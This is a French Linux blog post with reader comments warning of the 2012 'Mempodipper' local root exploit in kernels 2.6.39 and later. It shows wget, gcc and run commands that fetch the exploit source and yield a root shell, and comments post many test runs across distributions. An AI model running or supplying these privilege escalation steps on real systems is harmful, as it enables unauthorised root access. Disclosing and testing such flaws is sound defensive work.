Linux local root exploit via SUID


Black Hat
Un petit article rapide pour vous prévenir qu'une faille de sécurité circule en ce moment sur Internet. Celle-ci affecte les noyaux Linux dont la version est égale ou supérieure à la 2.6.39.

Les versions récentes de Red Hat, Centos et Ubuntu sont concernées. Voici un exemple d'utilisation :

$ wget www.tux-planet.fr/public/hack/exploits/kernel/mempodipper.c
$ gcc mempodipper.c -o mempodipper
$ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6454/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402178.
[+] Seeking to offset 0x40216c.
[+] Executing su with shellcode.
sh-4.2# whoami
root

Les explications techniques sont lisibles ici, en anglais :
http://blog.zx2c4.com/749


16 Commentaires pour "Linux local root exploit via SUID"

Flux des commentaires de cet article Ajouter un commentaire
  •  

    ça confirme que gcc est à bannir sur une machine de production.

    RépondreRépondre
    hornetbzz , le 24 janvier 2012 à 06:30
  •  

    Ça ne marche pas sur ma Fedora 16.

    $ gcc mempodipper.c -o mempodipper
    $ ./mempodipper
    ===============================
    = Mempodipper =
    = by zx2c4 =
    = Jan 21, 2012 =
    ===============================

    [+] Opening socketpair.
    [+] Waiting for transferred fd in parent.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/2592/mem in child.
    [+] Sending fd 5 to parent.
    [+] Received fd at 5.
    [+] Assigning fd 5 to stderr.
    [+] Reading su for exit@plt.
    [+] Resolved exit@plt to 0x21a8.
    [+] Calculating su padding.
    [+] Seeking to offset 0x2191.
    [+] Executing su with shellcode.
    $ whoami
    nicolas

    RépondreRépondre
    Nicolas , le 24 janvier 2012 à 07:59
  •  

    @Hornetb : un hacker peut arriver sur une machine avec le binaire déjà compilé. La présence ou non de gcc ne changera pas grand chose.

    RépondreRépondre
    pti-seb , le 24 janvier 2012 à 09:35
  •  

    Bon l'exploit n'a pas marché pour moi, sur une machine PinguyOS (un fork d'Ubuntu 11.04).
    @hornetbzz: meme sans gcc on peut avoir la configuration de ta machine et compiler le code
    sur une machine semblable ;)

    RépondreRépondre
    creed , le 24 janvier 2012 à 09:59
  •  

    Salut,

    Sur une Ubuntu 11.10 à jour ça marche ...

    RépondreRépondre
    utodeb , le 24 janvier 2012 à 10:29
  •  

    Testé sur trois machines Gentoo et ça ne fonctionne pas :
    kernel 2.6.38 :
    $ ./mempodipper
    ===============================
    = Mempodipper =
    = by zx2c4 =
    = Jan 21, 2012 =
    ===============================

    [+] Opening socketpair.
    [+] Waiting for transferred fd in parent.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/32225/mem in child.
    [+] Sending fd 5 to parent.
    [+] Received fd at 5.
    [+] Assigning fd 5 to stderr.
    [+] Reading su for exit@plt.
    [-] Could not resolve /bin/su. Specify the exit@plt function address manually.
    [-] Usage: ./mempodipper -o ADDRESS
    [-] Example: ./mempodipper -o 0x402178

    Logique que ça ne fonctionne pas vu que ça dois fonctionner à partir du 2.6.39.

    Kernel 3.2.1 :
    $ ./mempodipper
    ===============================
    = Mempodipper =
    = by zx2c4 =
    = Jan 21, 2012 =
    ===============================

    [+] Opening socketpair.
    [+] Waiting for transferred fd in parent.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/18401/mem in child.
    [+] Sending fd 5 to parent.
    [+] Received fd at 5.
    [+] Assigning fd 5 to stderr.
    [+] Reading su for exit@plt.
    [-] Could not resolve /bin/su. Specify the exit@plt function address manually.
    [-] Usage: ./mempodipper -o ADDRESS
    [-] Example: ./mempodipper -o 0x402178

    Kernel 3.1.5 :
    $ ./mempodipper
    ===============================
    = Mempodipper =
    = by zx2c4 =
    = Jan 21, 2012 =
    ===============================

    [+] Opening socketpair.
    [+] Waiting for transferred fd in parent.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/392/mem in child.
    [+] Sending fd 5 to parent.
    [+] Received fd at 5.
    [+] Assigning fd 5 to stderr.
    [+] Reading su for exit@plt.
    [-] Could not resolve /bin/su. Specify the exit@plt function address manually.
    [-] Usage: ./mempodipper -o ADDRESS
    [-] Example: ./mempodipper -o 0x402178

    Même résultat sur toutes ces machines.

    RépondreRépondre
    Droïde , le 24 janvier 2012 à 10:44
  •  

    Ça ne marche pas sous CentOS 6.2

    $ uname -a
    Linux localhost.localdomain 2.6.32-220.2.1.el6.x86_64 #1 SMP Fri Dec 23 02:21:33 CST 2011 x86_64 x86_64 x86_64 GNU/Linux
    $ gcc -o mempodipper mempodipper.c
    $ ./mempodipper
    ===============================
    = Mempodipper =
    = by zx2c4 =
    = Jan 21, 2012 =
    ===============================

    [+] Opening socketpair.
    [+] Waiting for transferred fd in parent.
    [+] Executing child from child fork.
    [+] Opening parent mem /proc/10016/mem in child.
    [+] Sending fd 5 to parent.
    [+] Received fd at 5.
    [+] Assigning fd 5 to stderr.
    [+] Reading su for exit@plt.
    [+] Resolved exit@plt to 0x1e70.
    [+] Calculating su padding.
    [+] Seeking to offset 0x1e62.
    [+] Executing su with shellcode.
    $

    RépondreRépondre
    MarbolanGos , le 24 janvier 2012 à 11:05
  •  

    fonctionne pas sous fedora 15
    kernel 2.6.41.4-1

    .....

    d'après les précédents résultats,
    ca ne fonctionne pas souvent ^^

    RépondreRépondre
    kein , le 24 janvier 2012 à 13:13
  •  

    Normal que ça ne marche pas sous CentOS 6.2, le kernel est pas > 2.6.39 !

    Chez moi ça marche sous Backtrack 5 (basé sur Ubuntu 10.04, kernel 2.6.39.4).

    RépondreRépondre
    tartiflette , le 24 janvier 2012 à 20:36
  •  

    Non rien sous fc16 à jour (k 3.1.9)

    RépondreRépondre
    R@OUL , le 24 janvier 2012 à 20:41
  •  

    Je confirme, ça fonctionne parfaitement chez moi on BackTrack 5 R1 32bits

    RépondreRépondre
    LAKHDAR , le 24 janvier 2012 à 21:02
  •  

    marche sous debian sid
    kernel : 3.2.0-1-686-pae

    RépondreRépondre
    bubu , le 24 janvier 2012 à 21:18
  •  

    Mint12 est touché aussi mais ne marche pas sous Ubuntu 10.

    RépondreRépondre
    NimaX , le 25 janvier 2012 à 14:06
  •  

    @Droïde : Gentoo, qu'importe le noyau, n'est pas impacté grâce aux permissions sur /bin/su (l'exploit a besoin de le lire!)
    -rwsr-xr-x 1 root root 34024 15 févr. 2011 /bin/su
    :-)

    RépondreRépondre
    guiglar , le 25 janvier 2012 à 20:53
  •  

    @hornetbzz : ca changera quoi ? tu peux compiler ton binaire ailleurs...

    RépondreRépondre
    john doe , le 26 janvier 2012 à 12:11
  •  

    Sous ArchLinux*, pas d'impact, pour la même raison que celle invoquée par @guiglar.
    ls -aoh /bin/su
    -r-sr-xr-x 1 root 38K 8 janv. 06:37 /bin/su

    Sur Ubuntu-server** non plus, contrairement à @utodeb.
    ls -aoh /bin/su
    -rwsr-xr-x 1 root 31K 2011-06-24 11:37 /bin/su

    * Linux archbook.van-elstraete.net 3.2.5-ck1-antoineve #1 SMP PREEMPT Tue Feb 7 00:35:28 CET 2012 i686 Intel(R) Atom(TM) CPU N270 @ 1.60GHz GenuineIntel GNU/Linux

    ** Ubuntu 11.10, Linux dunkerque.van-elstraete.net 3.0.0-16-generic #28-Ubuntu SMP Fri Jan 27 17:50:54 UTC 2012 i686 athlon i386 GNU/Linux

    RépondreRépondre
    AntoineVe , le 10 février 2012 à 11:22
 

Ajouter un commentaire

actualité android apache apple astuce astuces bash bilboblog blog boot chrome clavier commande commandes conky date debian Desktop développement elementary exploit faille fedora firefox flash gimp gnome google graphique Graphisme hack hacking Hardware humour intel internet iphone jailbreak Jeux Kde kernel libre Linux log logiciels Logiciels Libres lucid lynx maemo mail maquette metasploit microsoft mobile mockup monitoring mozilla multi-touch musique mysql n900 nautilus nokia noyau openoffice open source password photos php Planet publicité red hat redhat rpm réseau screenshot script serveur serveurs shell sql ssh statistiques sysadmin system Sécurité thème tux-planet tv twitter ubuntu unity vidéo vidéos vlc voyage wallpaper windows wordpress yum